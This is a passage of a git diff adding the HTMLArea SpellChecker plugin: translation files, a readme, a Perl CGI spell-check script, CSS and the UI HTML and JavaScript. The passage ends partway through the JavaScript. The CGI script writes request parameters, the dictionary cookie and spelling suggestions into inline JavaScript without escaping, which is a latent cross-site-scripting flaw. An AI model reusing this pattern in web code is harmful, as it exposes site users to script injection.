+       "NO_ERRORS"                             : "Keine falschen Woerter mit gewaehlten Woerterbuch gefunden",
+       "NO_ERRORS_CLOSING"                     : "Rechtsschreibpruefung wurde ohne Fehler fertiggestellt.  Wird nun geschlossen...",
+       "OK"                                    : "OK",
+       "Original word"                         : "Original Wort",
+       "Please wait.  Calling spell checker."  : "Bitte warten.  Woerterbuch wird durchsucht.",
+       "Please wait: changing dictionary to"   : "Bitte warten: Woerterbuch wechseln zu",
+       "QUIT_CONFIRMATION"                     : "Aenderungen werden nicht uebernommen.  Bitte bestaettigen.",
+       "Re-check"                              : "Neuueberpruefung",
+       "Replace all"                           : "Alle ersetzen",
+       "Replace with"                          : "Ersetzen mit",
+       "Replace"                               : "Ersetzen",
+       "SC-spell-check"                        : "Ueberpruefung",
+       "Suggestions"                           : "Vorschlag",
+       "pliz weit ;-)"                         : "bittsche wartn ;-)"
+};
diff --git a/admin/htmlarea/plugins/SpellChecker/lang/en.js b/admin/htmlarea/plugins/SpellChecker/lang/en.js
new file mode 100755 (executable)
index 0000000..529cc6c
--- /dev/null
@@ -0,0 +1,38 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+       "CONFIRM_LINK_CLICK"                    : "Please confirm that you want to open this link",
+       "Cancel"                                : "Cancel",
+       "Dictionary"                            : "Dictionary",
+       "Finished list of mispelled words"      : "Finished list of mispelled words",
+       "I will open it in a new page."         : "I will open it in a new page.",
+       "Ignore all"                            : "Ignore all",
+       "Ignore"                                : "Ignore",
+       "NO_ERRORS"                             : "No mispelled words found with the selected dictionary.",
+       "NO_ERRORS_CLOSING"                     : "Spell check complete, didn't find any mispelled words.  Closing now...",
+       "OK"                                    : "OK",
+       "Original word"                         : "Original word",
+       "Please wait.  Calling spell checker."  : "Please wait.  Calling spell checker.",
+       "Please wait: changing dictionary to"   : "Please wait: changing dictionary to",
+       "QUIT_CONFIRMATION"                     : "This will drop changes and quit spell checker.  Please confirm.",
+       "Re-check"                              : "Re-check",
+       "Replace all"                           : "Replace all",
+       "Replace with"                          : "Replace with",
+       "Replace"                               : "Replace",
+       "Revert"                                : "Revert",
+       "SC-spell-check"                        : "Spell-check",
+       "Suggestions"                           : "Suggestions",
+       "pliz weit ;-)"                         : "pliz weit ;-)"
+};
diff --git a/admin/htmlarea/plugins/SpellChecker/lang/he.js b/admin/htmlarea/plugins/SpellChecker/lang/he.js
new file mode 100755 (executable)
index 0000000..f5ef286
--- /dev/null
@@ -0,0 +1,38 @@
+// I18N constants\r\r
+\r\r
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, http://dynarch.com/mishoo\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+SpellChecker.I18N = {\r\r
+       "CONFIRM_LINK_CLICK"                    : "אנא אשר שברצונך לפתוח קישור זה",\r\r
+       "Cancel"                                : "ביטול",\r\r
+       "Dictionary"                            : "מילון",\r\r
+       "Finished list of mispelled words"      : "הסתיימה רשימת המילים המאויתות באופן שגוי",\r\r
+       "I will open it in a new page."         : "אני אפתח את זה בחלון חדש.",\r\r
+       "Ignore all"                            : "התעלם מהכל",\r\r
+       "Ignore"                                : "התעלם",\r\r
+       "NO_ERRORS"                             : "לא נמצאו מילים מאויתות באופן שגוי עם המילון הנבחר.",\r\r
+       "NO_ERRORS_CLOSING"                     : "בדיקת האיות נסתיימה, לא נמצאו מילים מאויתות באופן שגוי.  נסגר כעת...",\r\r
+       "OK"                                    : "אישור",\r\r
+       "Original word"                         : "המילה המקורית",\r\r
+       "Please wait.  Calling spell checker."  : "אנא המתן.  קורא לבודק איות.",\r\r
+       "Please wait: changing dictionary to"   : "אנא המתן: מחליף מילון ל-",\r\r
+       "QUIT_CONFIRMATION"                     : "זה יבטל את השינויים ויצא מבודק האיות.  אנא אשר.",\r\r
+       "Re-check"                              : "בדוק מחדש",\r\r
+       "Replace all"                           : "החלף הכל",\r\r
+       "Replace with"                          : "החלף ב-",\r\r
+       "Replace"                               : "החלף",\r\r
+       "Revert"                                : "החזר שינויים",\r\r
+       "SC-spell-check"                        : "בדיקת איות",\r\r
+       "Suggestions"                           : "הצעות",\r\r
+       "pliz weit ;-)"                         : "ענא המטן ;-)"\r\r
+};\r\r
diff --git a/admin/htmlarea/plugins/SpellChecker/lang/hu.js b/admin/htmlarea/plugins/SpellChecker/lang/hu.js
new file mode 100755 (executable)
index 0000000..64102c5
--- /dev/null
@@ -0,0 +1,37 @@
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+       "CONFIRM_LINK_CLICK"                    : "Megerősítés",
+       "Cancel"                                : "Mégsem",
+       "Dictionary"                            : "Szótár",
+       "Finished list of mispelled words"      : "A tévesztett szavak listájának vége",
+       "I will open it in a new page."         : "Megnyitás új lapon",
+       "Ignore all"                            : "Minden elvetése",
+       "Ignore"                                : "Elvetés",
+       "NO_ERRORS"                             : "A választott szótár szerint nincs tévesztett szó.",
+       "NO_ERRORS_CLOSING"                     : "A helyesírásellenőrzés kész, tévesztett szó nem fordult elő. Bezárás...",
+       "OK"                                    : "Rendben",
+       "Original word"                         : "Eredeti szó",
+       "Please wait.  Calling spell checker."  : "Kis türelmet, a helyesírásellenőrző hívása folyamatban.",
+       "Please wait: changing dictionary to"   : "Kis türelmet, szótár cseréje",
+       "QUIT_CONFIRMATION"                     : "Kilépés a változások eldobásával. Jóváhagyja?",
+       "Re-check"                              : "Újraellenőrzés",
+       "Replace all"                           : "Mind cseréje",
+       "Replace with"                          : "Csere a következőre:",
+       "Replace"                               : "Csere",
+       "SC-spell-check"                        : "Helyesírásellenőrzés",
+       "Suggestions"                           : "Tippek",
+       "pliz weit ;-)"                         : "Kis türelmet ;-)"
+};
diff --git a/admin/htmlarea/plugins/SpellChecker/lang/it.js b/admin/htmlarea/plugins/SpellChecker/lang/it.js
new file mode 100755 (executable)
index 0000000..0af5f77
--- /dev/null
@@ -0,0 +1,28 @@
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo, <fabio@rotondo.it>
+
+SpellChecker.I18N = {
+       "CONFIRM_LINK_CLICK"                    : "Devi confermare l'apertura di questo link",
+       "Cancel"                                : "Annulla",
+       "Dictionary"                            : "Dizionario",
+       "Finished list of mispelled words"      : "La lista delle parole scritte male è terminata",
+       "I will open it in a new page."         : "Lo aprirò in una nuova pagina.",
+       "Ignore all"                            : "Ignora sempre",
+       "Ignore"                                : "Ignora",
+       "NO_ERRORS"                             : "Non sono state trovate parole scritte male con il dizionario selezionato.",
+       "NO_ERRORS_CLOSING"                     : "Controllo completato, non sono state trovate parole scritte male. Sto chiudendo...",
+       "OK"                                    : "OK",
+       "Original word"                         : "Parola originale",
+       "Please wait.  Calling spell checker."  : "Attendere.  Sto invocando lo Spell Checker.",
+       "Please wait: changing dictionary to"   : "Attendere. Cambio il dizionario in",
+       "QUIT_CONFIRMATION"                     : "Questo annullerà le modifiche e chiuderà lo Spell Checker. Conferma.",
+       "Re-check"                              : "Ricontrolla",
+       "Replace all"                           : "Sostituisci sempre",
+       "Replace with"                          : "Stostituisci con",
+       "Replace"                               : "Sostituisci",
+       "SC-spell-check"                        : "Spell-check",
+       "Suggestions"                           : "Suggerimenti",
+       "pliz weit ;-)"                         : "Attendere Prego ;-)"
+};
diff --git a/admin/htmlarea/plugins/SpellChecker/lang/makefile.xml b/admin/htmlarea/plugins/SpellChecker/lang/makefile.xml
new file mode 100755 (executable)
index 0000000..eed81b0
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.js" />
+</files>
diff --git a/admin/htmlarea/plugins/SpellChecker/lang/ro.js b/admin/htmlarea/plugins/SpellChecker/lang/ro.js
new file mode 100755 (executable)
index 0000000..d8e96b9
--- /dev/null
@@ -0,0 +1,37 @@
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+       "CONFIRM_LINK_CLICK"                    : "Vă rog confirmaţi că vreţi să deschideţi acest link",
+       "Cancel"                                : "Anulează",
+       "Dictionary"                            : "Dicţionar",
+       "Finished list of mispelled words"      : "Am terminat lista de cuvinte greşite",
+       "I will open it in a new page."         : "O voi deschide într-o altă fereastră.",
+       "Ignore all"                            : "Ignoră toate",
+       "Ignore"                                : "Ignoră",
+       "NO_ERRORS"                             : "Nu am găsit nici un cuvânt greşit cu acest dicţionar.",
+       "NO_ERRORS_CLOSING"                     : "Am terminat, nu am detectat nici o greşeală.  Acum închid fereastra...",
+       "OK"                                    : "OK",
+       "Original word"                         : "Cuvântul original",
+       "Please wait.  Calling spell checker."  : "Vă rog aşteptaţi.  Apelez spell-checker-ul.",
+       "Please wait: changing dictionary to"   : "Vă rog aşteptaţi.  Schimb dicţionarul cu",
+       "QUIT_CONFIRMATION"                     : "Doriţi să renunţaţi la modificări şi să închid spell-checker-ul?",
+       "Re-check"                              : "Scanează",
+       "Replace all"                           : "Înlocuieşte toate",
+       "Replace with"                          : "Înlocuieşte cu",
+       "Replace"                               : "Înlocuieşte",
+       "SC-spell-check"                        : "Detectează greşeli",
+       "Suggestions"                           : "Sugestii",
+       "pliz weit ;-)"                         : "va rog ashteptatzi ;-)"
+};
diff --git a/admin/htmlarea/plugins/SpellChecker/makefile.xml b/admin/htmlarea/plugins/SpellChecker/makefile.xml
new file mode 100755 (executable)
index 0000000..f900fc7
--- /dev/null
@@ -0,0 +1,7 @@
+<files>
+  <file name="*.{js,html,cgi,css}" />
+
+  <dir name="lang" />
+  <dir name="img" />
+</files>
+
diff --git a/admin/htmlarea/plugins/SpellChecker/readme-tech.html b/admin/htmlarea/plugins/SpellChecker/readme-tech.html
new file mode 100755 (executable)
index 0000000..1afdf6d
--- /dev/null
@@ -0,0 +1,114 @@
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+  <head>
+    <title>HTMLArea Spell Checker</title>
+  </head>
+
+  <body>
+    <h1>HTMLArea Spell Checker</h1>
+
+    <p>The HTMLArea Spell Checker subsystem consists of the following
+      files:</p>
+
+    <ul>
+
+      <li>spell-checker.js &mdash; the spell checker plugin interface for
+        HTMLArea</li>
+
+      <li>spell-checker-ui.html &mdash; the HTML code for the user
+        interface</li>
+
+      <li>spell-checker-ui.js &mdash; functionality of the user
+        interface</li>
+
+      <li>spell-checker-logic.cgi &mdash; Perl CGI script that checks a text
+        given through POST for spelling errors</li>
+
+      <li>spell-checker-style.css &mdash; style for mispelled words</li>
+
+      <li>lang/en.js &mdash; main language file (English).</li>
+
+    </ul>
+
+    <h2>Process overview</h2>
+
+    <p>
+      When an end-user clicks the "spell-check" button in the HTMLArea
+      editor, a new window is opened with the URL of "spell-check-ui.html".
+      This window initializes itself with the text found in the editor (uses
+      <tt>window.opener.SpellChecker.editor</tt> global variable) and it
+      submits the text to the server-side script "spell-check-logic.cgi".
+      The target of the FORM is an inline frame which is used both to
+      display the text and correcting.
+    </p>
+
+    <p>
+      Further, spell-check-logic.cgi calls Aspell for each portion of plain
+      text found in the given HTML.  It rebuilds an HTML file that contains
+      clear marks of which words are incorrect, along with suggestions for
+      each of them.  This file is then loaded in the inline frame.  Upon
+      loading, a JavaScript function from "spell-check-ui.js" is called.
+      This function will retrieve all mispelled words from the HTML of the
+      iframe and will setup the user interface so that it allows correction.
+    </p>
+
+    <h2>The server-side script (spell-check-logic.cgi)</h2>
+
+    <p>
+      <strong>Unicode safety</strong> &mdash; the program <em>is</em>
+      Unicode safe.  HTML entities are expanded into their corresponding
+      Unicode characters.  These characters will be matched as part of the
+      word passed to Aspell.  All texts passed to Aspell are in Unicode
+      (when appropriate).  <strike>However, Aspell seems to not support Unicode
+      yet (<a
+        href="http://mail.gnu.org/archive/html/aspell-user/2000-11/msg00007.html">thread concerning Aspell and Unicode</a>).
+      This mean that words containing Unicode
+      characters that are not in 0..255 are likely to be reported as "mispelled" by Aspell.</strike>
+    </p>
+
+    <p>
+      <strong style="font-variant: small-caps; color:
+      red;">Update:</strong> though I've never seen it mentioned
+      anywhere, it looks that Aspell <em>does</em>, in fact, speak
+      Unicode.  Or else, maybe <code>Text::Aspell</code> does
+      transparent conversion; anyway, this new version of our
+      SpellChecker plugin is, as tests show so far, fully
+      Unicode-safe... well, probably the <em>only</em> freeware
+      Web-based spell-checker which happens to have Unicode support.
+    </p>
+
+    <p>
+      The Perl Unicode manual (man perluniintro) states:
+    </p>
+
+    <blockquote>
+      <em>
+        Starting from Perl 5.6.0, Perl has had the capacity to handle Unicode
+        natively.  Perl 5.8.0, however, is the first recommended release for
+        serious Unicode work.  The maintenance release 5.6.1 fixed many of the
+        problems of the initial Unicode implementation, but for example regular
+        expressions still do not work with Unicode in 5.6.1.
+      </em>
+    </blockquote>
+
+    <p>In other words, do <em>not</em> assume that this script is
+      Unicode-safe on Perl interpreters older than 5.8.0.</p>
+
+    <p>The following Perl modules are required:</p>
+
+    <ul>
+      <li><a href="http://search.cpan.org/search?query=Text%3A%3AAspell&mode=all" target="_blank">Text::Aspell</a></li>
+      <li><a href="http://search.cpan.org/search?query=XML%3A%3ADOM&mode=all" target="_blank">XML::DOM</a></li>
+      <li><a href="http://search.cpan.org/search?query=CGI&mode=all" target="_blank">CGI</a></li>
+    </ul>
+
+    <p>Of these, only Text::Aspell might need to be installed manually.  The
+      others are likely to be available by default in most Perl distributions.</p>
+
+    <hr />
+    <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Thu Jul 17 13:22:27 EEST 2003 -->
+<!-- hhmts start --> Last modified: Fri Jan 30 19:14:11 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+  </body>
+</html>
diff --git a/admin/htmlarea/plugins/SpellChecker/spell-check-logic.cgi b/admin/htmlarea/plugins/SpellChecker/spell-check-logic.cgi
new file mode 100755 (executable)
index 0000000..4f6c189
--- /dev/null
@@ -0,0 +1,210 @@
+#! /usr/bin/perl -w
+
+# Spell Checker Plugin for HTMLArea-3.0
+# Sponsored by www.americanbible.org
+# Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+#
+# (c) dynarch.com 2003.
+# Distributed under the same terms as HTMLArea itself.
+# This notice MUST stay intact for use (see license.txt).
+#
+# $Id: spell-check-logic.cgi,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+use strict;
+use utf8;
+use Encode;
+use Text::Aspell;
+use XML::DOM;
+use CGI;
+
+my $TIMER_start = undef;
+eval {
+    use Time::HiRes qw( gettimeofday tv_interval );
+    $TIMER_start = [gettimeofday()];
+};
+# use POSIX qw( locale_h );
+
+binmode STDIN, ':utf8';
+binmode STDOUT, ':utf8';
+
+my $debug = 0;
+
+my $speller = new Text::Aspell;
+my $cgi = new CGI;
+
+my $total_words = 0;
+my $total_mispelled = 0;
+my $total_suggestions = 0;
+my $total_words_suggested = 0;
+
+# FIXME: report a nice error...
+die "Can't create speller!" unless $speller;
+
+my $dict = $cgi->param('dictionary') || $cgi->cookie('dictionary') || 'en';
+
+# add configurable option for this
+$speller->set_option('lang', $dict);
+$speller->set_option('encoding', 'UTF-8');
+#setlocale(LC_CTYPE, $dict);
+
+# ultra, fast, normal, bad-spellers
+# bad-spellers seems to cause segmentation fault
+$speller->set_option('sug-mode', 'normal');
+
+my %suggested_words = ();
+keys %suggested_words = 128;
+
+my $file_content = decode('UTF-8', $cgi->param('content'));
+$file_content = parse_with_dom($file_content);
+
+my $ck_dictionary = $cgi->cookie(-name     => 'dictionary',
+                                 -value    => $dict,
+                                 -expires  => '+30d');
+
+print $cgi->header(-type    => 'text/html; charset: utf-8',
+                   -cookie  => $ck_dictionary);
+
+my $js_suggested_words = make_js_hash(\%suggested_words);
+my $js_spellcheck_info = make_js_hash_from_array
+  ([
+    [ 'Total words'           , $total_words ],
+    [ 'Mispelled words'       , $total_mispelled . ' in dictionary \"'.$dict.'\"' ],
+    [ 'Total suggestions'     , $total_suggestions ],
+    [ 'Total words suggested' , $total_words_suggested ],
+    [ 'Spell-checked in'      , defined $TIMER_start ? (tv_interval($TIMER_start) . ' seconds') : 'n/a' ]
+   ]);
+
+print qq^<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<link rel="stylesheet" type="text/css" media="all" href="spell-check-style.css" />
+<script type="text/javascript">
+  var suggested_words = { $js_suggested_words };
+  var spellcheck_info = { $js_spellcheck_info }; </script>
+</head>
+<body onload="window.parent.finishedSpellChecking();">^;
+
+print $file_content;
+if ($cgi->param('init') eq '1') {
+    my @dicts = $speller->dictionary_info();
+    my $dictionaries = '';
+    foreach my $i (@dicts) {
+        next if $i->{jargon};
+        my $name = $i->{name};
+        if ($name eq $dict) {
+            $name = '@'.$name;
+        }
+        $dictionaries .= ',' . $name;
+    }
+    $dictionaries =~ s/^,//;
+    print qq^<div id="HA-spellcheck-dictionaries">$dictionaries</div>^;
+}
+
+print '</body></html>';
+
+# Perl is beautiful.
+sub spellcheck {
+    my $node = shift;
+    my $doc = $node->getOwnerDocument;
+    my $check = sub {                 # called for each word in the text
+        # input is in UTF-8
+        my $word = shift;
+        my $already_suggested = defined $suggested_words{$word};
+        ++$total_words;
+        if (!$already_suggested && $speller->check($word)) {
+            return undef;
+        } else {
+            # we should have suggestions; give them back to browser in UTF-8
+            ++$total_mispelled;
+            if (!$already_suggested) {
+                # compute suggestions for this word
+                my @suggestions = $speller->suggest($word);
+                my $suggestions = decode($speller->get_option('encoding'), join(',', @suggestions));
+                $suggested_words{$word} = $suggestions;
+                ++$total_suggestions;
+                $total_words_suggested += scalar @suggestions;
+            }
+            # HA-spellcheck-error
+            my $err = $doc->createElement('span');
+            $err->setAttribute('class', 'HA-spellcheck-error');
+            my $tmp = $doc->createTextNode;
+            $tmp->setNodeValue($word);
+            $err->appendChild($tmp);
+            return $err;
+        }
+    };
+    while ($node->getNodeValue =~ /([\p{IsWord}']+)/) {
+        my $word = $1;
+        my $before = $`;
+        my $after = $';
+        my $df = &$check($word);
+        if (!$df) {
+            $before .= $word;
+        }
+        {
+            my $parent = $node->getParentNode;
+            my $n1 = $doc->createTextNode;
+            $n1->setNodeValue($before);
+            $parent->insertBefore($n1, $node);
+            $parent->insertBefore($df, $node) if $df;
+            $node->setNodeValue($after);
+        }
+    }
+};
+
+sub check_inner_text {
+    my $node = shift;
+    my $text = '';
+    for (my $i = $node->getFirstChild; defined $i; $i = $i->getNextSibling) {
+        if ($i->getNodeType == TEXT_NODE) {
+            spellcheck($i);
+        }
+    }
+};
+
+sub parse_with_dom {
+    my ($text) = @_;
+    $text = '<spellchecker>'.$text.'</spellchecker>';
+
+    my $parser = new XML::DOM::Parser;
+    if ($debug) {
+        open(FOO, '>:utf8', '/tmp/foo');
+        print FOO $text;
+        close FOO;
+    }
+    my $doc = $parser->parse($text);
+    my $nodes = $doc->getElementsByTagName('*');
+    my $n = $nodes->getLength;
+
+    for (my $i = 0; $i < $n; ++$i) {
+        my $node = $nodes->item($i);
+        if ($node->getNodeType == ELEMENT_NODE) {
+            check_inner_text($node);
+        }
+    }
+
+    my $ret = $doc->toString;
+    $ret =~ s{<spellchecker>(.*)</spellchecker>}{$1}sg;
+    return $ret;
+};
+
+sub make_js_hash {
+    my ($hash) = @_;
+    my $js_hash = '';
+    while (my ($key, $val) = each %$hash) {
+        $js_hash .= ',' if $js_hash;
+        $js_hash .= '"'.$key.'":"'.$val.'"';
+    }
+    return $js_hash;
+};
+
+sub make_js_hash_from_array {
+    my ($array) = @_;
+    my $js_hash = '';
+    foreach my $i (@$array) {
+        $js_hash .= ',' if $js_hash;
+        $js_hash .= '"'.$i->[0].'":"'.$i->[1].'"';
+    }
+    return $js_hash;
+};
diff --git a/admin/htmlarea/plugins/SpellChecker/spell-check-style.css b/admin/htmlarea/plugins/SpellChecker/spell-check-style.css
new file mode 100755 (executable)
index 0000000..1408ba0
--- /dev/null
@@ -0,0 +1,10 @@
+.HA-spellcheck-error { border-bottom: 1px dashed #f00; cursor: default; }
+.HA-spellcheck-same { background-color: #cef; color: #000; }
+.HA-spellcheck-hover { background-color: #433; color: white; }
+.HA-spellcheck-fixed { border-bottom: 1px dashed #0b8; }
+.HA-spellcheck-current { background-color: #9be; color: #000; }
+.HA-spellcheck-suggestions { display: none; }
+
+#HA-spellcheck-dictionaries { display: none; }
+
+a:link, a:visited { color: #55e; }
diff --git a/admin/htmlarea/plugins/SpellChecker/spell-check-ui.html b/admin/htmlarea/plugins/SpellChecker/spell-check-ui.html
new file mode 100755 (executable)
index 0000000..14dec29
--- /dev/null
@@ -0,0 +1,122 @@
+<!--
+
+  Strangely, IE sucks with or without the DOCTYPE switch.
+  I thought it would only suck without it.
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
+    "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+
+   Spell Checker Plugin for HTMLArea-3.0
+   Sponsored by www.americanbible.org
+   Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+  
+   (c) dynarch.com 2003.
+   Distributed under the same terms as HTMLArea itself.
+   This notice MUST stay intact for use (see license.txt).
+
+   $Id: spell-check-ui.html,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+
+  <head>
+    <title>Spell Checker</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <script type="text/javascript" src="spell-check-ui.js"></script>
+
+    <style type="text/css">
+      html, body { height: 100%; margin: 0px; padding: 0px; background-color: #fff;
+      color: #000; }
+      a:link, a:visited { color: #00f; text-decoration: none; }
+      a:hover { color: #f00; text-decoration: underline; }
+
+      table { background-color: ButtonFace; color: ButtonText;
+      font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+
+      iframe { background-color: #fff; color: #000; height: 100%; width: 100%; }
+
+      .controls { width: 13em; }
+      .controls .sectitle { /* background-color: #736c6c; color: #fff;
+      border-top: 1px solid #000; border-bottom: 1px solid #fff; */
+      text-align: center;
+      font-weight: bold; padding: 2px 4px; }
+      .controls .secbody { margin-bottom: 10px; }
+
+      button, select { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+      button { width: 6em; padding: 0px; }
+
+      input, select { font-family: fixed,"andale mono",monospace; }
+
+      #v_currentWord { color: #f00; font-weight: bold; }
+      #statusbar { padding: 7px 0px 0px 5px; }
+      #status { font-weight: bold; }
+    </style>
+
+  </head>
+
+  <body onload="initDocument()">
+
+    <form style="display: none;" action="spell-check-logic.cgi"
+          method="post" target="framecontent"
+          accept-charset="UTF-8"
+          ><input type="hidden" name="content" id="f_content"
+          /><input type="hidden" name="dictionary" id="f_dictionary"
+          /><input type="hidden" name="init" id="f_init" value="1"
+    /></form>
+
+    <table style="height: 100%; width: 100%; border-collapse: collapse;" cellspacing="0" cellpadding="0">
+      <tr>
+        <td colspan="2" style="height: 1em; padding: 2px;">
+          <div style="float: right; padding: 2px;"><span>Dictionary</span>
+            <select id="v_dictionaries" style="width: 10em"></select>
+            <button id="b_recheck">Re-check</button>
+          </div>
+          <span id="status">Please wait.  Calling spell checker.</span>
+        </td>
+      </tr>
+      <tr>
+        <td valign="top" class="controls">
+          <div class="secbody" style="text-align: center">
+            <button id="b_info">Info</button>
+          </div>
+          <div class="sectitle">Original word</div>
+          <div class="secbody" id="v_currentWord" style="text-align:
+          center; margin-bottom: 0px;">pliz weit ;-)</div>
+          <div class="secbody" style="text-align: center">
+            <button id="b_revert">Revert</button>
+          </div>
+          <div class="sectitle">Replace with</div>
+          <div class="secbody">
+            <input type="text" id="v_replacement" style="width: 94%; margin-left: 3%;" /><br />
+            <div style="text-align: center; margin-top: 2px;">
+              <button id="b_replace">Replace</button><button
+                id="b_replall">Replace all</button><br /><button
+                id="b_ignore">Ignore</button><button
+                id="b_ignall">Ignore all</button>
+            </div>
+          </div>
+          <div class="sectitle">Suggestions</div>
+          <div class="secbody">
+            <select size="11" style="width: 94%; margin-left: 3%;" id="v_suggestions"></select>
+          </div>
+        </td>
+
+        <td>
+          <iframe src="about:blank" width="100%" height="100%"
+            id="i_framecontent" name="framecontent"></iframe>
+        </td>
+      </tr>
+      <tr>
+        <td style="height: 1em;" colspan="2">
+          <div style="padding: 4px 2px 2px 2px; float: right;">
+            <button id="b_ok">OK</button>
+            <button id="b_cancel">Cancel</button>
+          </div>
+          <div id="statusbar"></div>
+        </td>
+      </tr>
+    </table>
+
+  </body>
+
+</html>
diff --git a/admin/htmlarea/plugins/SpellChecker/spell-check-ui.js b/admin/htmlarea/plugins/SpellChecker/spell-check-ui.js
new file mode 100755 (executable)
index 0000000..516ae89
--- /dev/null
@@ -0,0 +1,397 @@
+// Spell Checker Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: spell-check-ui.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+// internationalization file was already loaded in parent ;-)
+var SpellChecker = window.opener.SpellChecker;
+var i18n = SpellChecker.I18N;
+
+var HTMLArea = window.opener.HTMLArea;
+var is_ie = HTMLArea.is_ie;
+var editor = SpellChecker.editor;
+var frame = null;
+var currentElement = null;
+var wrongWords = null;
+var modified = false;
+var allWords = {};
+var fixedWords = [];
+var suggested_words = {};
+
+function makeCleanDoc(leaveFixed) {
+       // document.getElementById("status").innerHTML = 'Please wait: rendering valid HTML';
+       var words = wrongWords.concat(fixedWords);
+       for (var i = words.length; --i >= 0;) {
+               var el = words[i];
+               if (!(leaveFixed && /HA-spellcheck-fixed/.test(el.className))) {
+                       el.parentNode.insertBefore(el.firstChild, el);
+                       el.parentNode.removeChild(el);
+               } else
+                       el.className = "HA-spellcheck-fixed";
+       }
+       // we should use innerHTML here, but IE6's implementation fucks up the
+       // HTML to such extent that our poor Perl parser doesn't understand it
+       // anymore.
+       return window.opener.HTMLArea.getHTML(frame.contentWindow.document.body, false, editor);
+};
+
+function recheckClicked() {
+       document.getElementById("status").innerHTML = i18n["Please wait: changing dictionary to"] + ': "' + document.getElementById("f_dictionary").value + '".';
+       var field = document.getElementById("f_content");
+       field.value = makeCleanDoc(true);
+       field.form.submit();
+};
+
+function saveClicked() {
+       if (modified) {
+               editor.setHTML(makeCleanDoc(false));
+       }
+       window.close();
+       return false;
+};
+
+function cancelClicked() {
+       var ok = true;
+       if (modified) {
+               ok = confirm(i18n["QUIT_CONFIRMATION"]);
+       }
+       if (ok) {
+               window.close();
+       }
+       return false;
+};
+
+function replaceWord(el) {
+       var replacement = document.getElementById("v_replacement").value;
+       var this_word_modified = (el.innerHTML != replacement);
+       if (this_word_modified)
+               modified = true;
+       if (el) {
+               el.className = el.className.replace(/\s*HA-spellcheck-(hover|fixed)\s*/g, " ");
+       }
+       el.className += " HA-spellcheck-fixed";
+       el.__msh_fixed = true;
+       if (!this_word_modified) {
+               return false;
+       }
+       el.innerHTML = replacement;
+};
+
+function replaceClicked() {
+       replaceWord(currentElement);
+       var start = currentElement.__msh_id;
+       var index = start;
+       do {
+               ++index;
+               if (index == wrongWords.length) {
+                       index = 0;
+               }
+       } while ((index != start) && wrongWords[index].__msh_fixed);
+       if (index == start) {
+               index = 0;
+               alert(i18n["Finished list of mispelled words"]);
+       }
+       wrongWords[index].__msh_wordClicked(true);
+       return false;
+};
+
+function revertClicked() {
+       document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+       replaceWord(currentElement);
+       currentElement.className = "HA-spellcheck-error HA-spellcheck-current";
+       return false;
+};
+
+function replaceAllClicked() {
+       var replacement = document.getElementById("v_replacement").value;
+       var ok = true;
+       var spans = allWords[currentElement.__msh_origWord];
+       if (spans.length == 0) {
+               alert("An impossible condition just happened.  Call FBI.  ;-)");
+       } else if (spans.length == 1) {
+               replaceClicked();
+               return false;
+       }
+       /*
+       var message = "The word \"" + currentElement.__msh_origWord + "\" occurs " + spans.length + " times.\n";
+       if (replacement == currentElement.__msh_origWord) {
+               ok = confirm(message + "Ignore all occurrences?");
+       } else {
+               ok = confirm(message + "Replace all occurrences with \"" + replacement + "\"?");
+       }
+       */
+       if (ok) {
+               for (var i in spans) {
+                       if (spans[i] != currentElement) {
